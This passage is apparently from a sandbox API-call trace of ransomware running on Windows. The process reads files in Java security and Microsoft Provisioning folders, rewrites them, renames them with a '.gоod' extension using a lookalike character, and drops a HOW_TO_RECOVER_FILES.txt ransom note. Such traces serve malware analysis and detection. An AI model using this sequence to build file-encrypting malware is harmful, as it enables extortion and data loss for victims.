lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts.gоod", nBufferLength=0x105, lpBuffer=0x1ffede70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts.gоod", lpFilePart=0x0) returned 0x3c [0114.752] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee300) returned 1 [0114.752] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts"), fInfoLevelId=0x0, lpFileInformation=0x1ffee3e0 | out: lpFileInformation=0x1ffee3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x409c1c97, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1c0fb)) returned 1 [0114.752] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee2c0) returned 1 [0114.752] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts.gоod")) returned 1 [0114.753] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar", nBufferLength=0x105, lpBuffer=0x1ffede70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar", lpFilePart=0x0) returned 0x40 [0114.753] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee340) returned 1 [0114.753] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar"), fInfoLevelId=0x0, lpFileInformation=0x34a58c8 | out: lpFileInformation=0x34a58c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xdc7)) returned 1 [0115.391] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee300) returned 1 [0115.391] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar", nBufferLength=0x105, lpBuffer=0x1ffedcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar", lpFilePart=0x0) returned 0x40 [0115.392] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee1f0) returned 1 [0115.392] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0115.392] GetFileType (hFile=0x7ec) returned 0x1 [0115.392] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee160) returned 1 [0115.392] GetFileType (hFile=0x7ec) returned 0x1 [0115.392] GetFileSize (in: hFile=0x7ec, lpFileSizeHigh=0x1ffee398 | out: lpFileSizeHigh=0x1ffee398*=0x0) returned 0xdc7 [0115.392] ReadFile (in: hFile=0x7ec, lpBuffer=0x37357e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffee2c8, lpOverlapped=0x0 | out: lpBuffer=0x37357e0*, lpNumberOfBytesRead=0x1ffee2c8*=0xdc7, lpOverlapped=0x0) returned 1 [0115.396] CloseHandle (hObject=0x7ec) returned 1 [0115.561] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar", nBufferLength=0x105, lpBuffer=0x1ffedcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar", lpFilePart=0x0) returned 0x40 [0115.561] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee1f0) returned 1 [0115.561] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0115.563] GetFileType (hFile=0x7ec) returned 0x1 [0115.563] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee160) returned 1 [0115.563] GetFileType (hFile=0x7ec) returned 0x1 [0115.563] WriteFile (in: hFile=0x7ec, lpBuffer=0x37b1110*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x1ffee1d8, lpOverlapped=0x0 | out: lpBuffer=0x37b1110*, lpNumberOfBytesWritten=0x1ffee1d8*=0xdd0, lpOverlapped=0x0) returned 1 [0115.564] CloseHandle (hObject=0x7ec) returned 1 [0115.564] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar", nBufferLength=0x105, lpBuffer=0x1ffede70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar", lpFilePart=0x0) returned 0x40 [0115.564] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.gоod", nBufferLength=0x105, lpBuffer=0x1ffede70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.gоod", lpFilePart=0x0) returned 0x45 [0115.564] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee300) returned 1 [0115.564] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar"), fInfoLevelId=0x0, lpFileInformation=0x1ffee3e0 | out: lpFileInformation=0x1ffee3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x41181703, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xdd0)) returned 1 [0115.565] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee2c0) returned 1 [0115.565] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar.gоod")) returned 1 [0115.566] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar", nBufferLength=0x105, lpBuffer=0x1ffede70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar", lpFilePart=0x0) returned 0x44 [0115.566] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee340) returned 1 [0115.566] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar"), fInfoLevelId=0x0, lpFileInformation=0x37b23e8 | out: lpFileInformation=0x37b23e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xbd2)) returned 1 [0115.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee300) returned 1 [0115.566] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar", nBufferLength=0x105, lpBuffer=0x1ffedcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar", lpFilePart=0x0) returned 0x44 [0115.566] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee1f0) returned 1 [0115.566] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0115.566] GetFileType (hFile=0x7ec) returned 0x1 [0115.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee160) returned 1 [0115.566] GetFileType (hFile=0x7ec) returned 0x1 [0115.566] GetFileSize (in: hFile=0x7ec, lpFileSizeHigh=0x1ffee398 | out: lpFileSizeHigh=0x1ffee398*=0x0) returned 0xbd2 [0115.566] ReadFile (in: hFile=0x7ec, lpBuffer=0x37b3288, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffee2c8, lpOverlapped=0x0 | out: lpBuffer=0x37b3288*, lpNumberOfBytesRead=0x1ffee2c8*=0xbd2, lpOverlapped=0x0) returned 1 [0116.239] CloseHandle (hObject=0x7ec) returned 1 [0118.649] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar", nBufferLength=0x105, lpBuffer=0x1ffedcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar", lpFilePart=0x0) returned 0x44 [0118.649] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee1f0) returned 1 [0118.649] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0118.650] GetFileType (hFile=0x7ec) returned 0x1 [0118.650] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee160) returned 1 [0118.650] GetFileType (hFile=0x7ec) returned 0x1 [0118.651] WriteFile (in: hFile=0x7ec, lpBuffer=0x342bf28*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x1ffee1d8, lpOverlapped=0x0 | out: lpBuffer=0x342bf28*, lpNumberOfBytesWritten=0x1ffee1d8*=0xbe0, lpOverlapped=0x0) returned 1 [0118.651] CloseHandle (hObject=0x7ec) returned 1 [0118.652] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar", nBufferLength=0x105, lpBuffer=0x1ffede70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar", lpFilePart=0x0) returned 0x44 [0118.652] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.gоod", nBufferLength=0x105, lpBuffer=0x1ffede70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.gоod", lpFilePart=0x0) returned 0x49 [0118.652] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee300) returned 1 [0118.652] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar"), fInfoLevelId=0x0, lpFileInformation=0x1ffee3e0 | out: lpFileInformation=0x1ffee3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x42ef69fc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xbe0)) returned 1 [0118.652] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee2c0) returned 1 [0118.652] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar.gоod")) returned 1 [0118.652] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffedfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x48 [0118.652] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee500) returned 1 [0118.653] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7ec [0118.653] GetFileType (hFile=0x7ec) returned 0x1 [0118.653] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee470) returned 1 [0118.654] GetFileType (hFile=0x7ec) returned 0x1 [0118.654] WriteFile (in: hFile=0x7ec, lpBuffer=0x342f7d8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffee5c8, lpOverlapped=0x0 | out: lpBuffer=0x342f7d8*, lpNumberOfBytesWritten=0x1ffee5c8*=0x5d0, lpOverlapped=0x0) returned 1 [0118.656] CloseHandle (hObject=0x7ec) returned 1 [0118.657] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee590) returned 1 [0118.657] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}", nBufferLength=0x105, lpBuffer=0x1ffee030, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}", lpFilePart=0x0) returned 0x4c [0118.657] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\*", lpFindFileData=0x1ffee2b0 | out: lpFindFileData=0x1ffee2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0118.665] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.665] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fb24d6, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fb24d6, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fb24d6, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x8b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="")) returned 1 [0118.665] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f8c279, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f8c279, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f8c279, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1 [0118.665] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0118.666] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0118.666] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0118.666] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee4d0) returned 1 [0118.666] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee490) returned 1 [0118.667] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee590) returned 1 [0118.667] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}", nBufferLength=0x105, lpBuffer=0x1ffee030, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}", lpFilePart=0x0) returned 0x4c [0118.667] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\*", lpFindFileData=0x1ffee2b0 | out: lpFindFileData=0x1ffee2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0118.667] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.667] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fb24d6, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fb24d6, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fb24d6, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x8b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="")) returned 1 [0118.667] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f8c279, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f8c279, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f8c279, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1 [0118.667] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0118.667] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0118.668] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0118.668] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee4d0) returned 1 [0118.668] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee490) returned 1 [0118.668] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1ffede70, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0118.668] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee340) returned 1 [0118.668] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml"), fInfoLevelId=0x0, lpFileInformation=0x3449ff0 | out: lpFileInformation=0x3449ff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fb24d6, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fb24d6, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fb24d6, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x8b5)) returned 1 [0118.668] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee300) returned 1 [0118.668] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1ffedcd0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0118.668] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee1f0) returned 1 [0118.668] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0118.668] GetFileType (hFile=0x7ec) returned 0x1 [0118.668] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee160) returned 1 [0118.668] GetFileType (hFile=0x7ec) returned 0x1 [0118.668] GetFileSize (in: hFile=0x7ec, lpFileSizeHigh=0x1ffee398 | out: lpFileSizeHigh=0x1ffee398*=0x0) returned 0x8b5 [0118.668] ReadFile (in: hFile=0x7ec, lpBuffer=0x344abc0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffee2c8, lpOverlapped=0x0 | out: lpBuffer=0x344abc0*, lpNumberOfBytesRead=0x1ffee2c8*=0x8b5, lpOverlapped=0x0) returned 1 [0119.046] CloseHandle (hObject=0x7ec) returned 1 [0119.204] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1ffedcd0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0119.204] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee1f0) returned 1 [0119.204] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0119.205] GetFileType (hFile=0x6e4) returned 0x1 [0119.205] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee160) returned 1 [0119.205] GetFileType (hFile=0x6e4) returned 0x1 [0119.205] WriteFile (in: hFile=0x6e4, lpBuffer=0x34fcba8*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x1ffee1d8, lpOverlapped=0x0 | out: lpBuffer=0x34fcba8*, 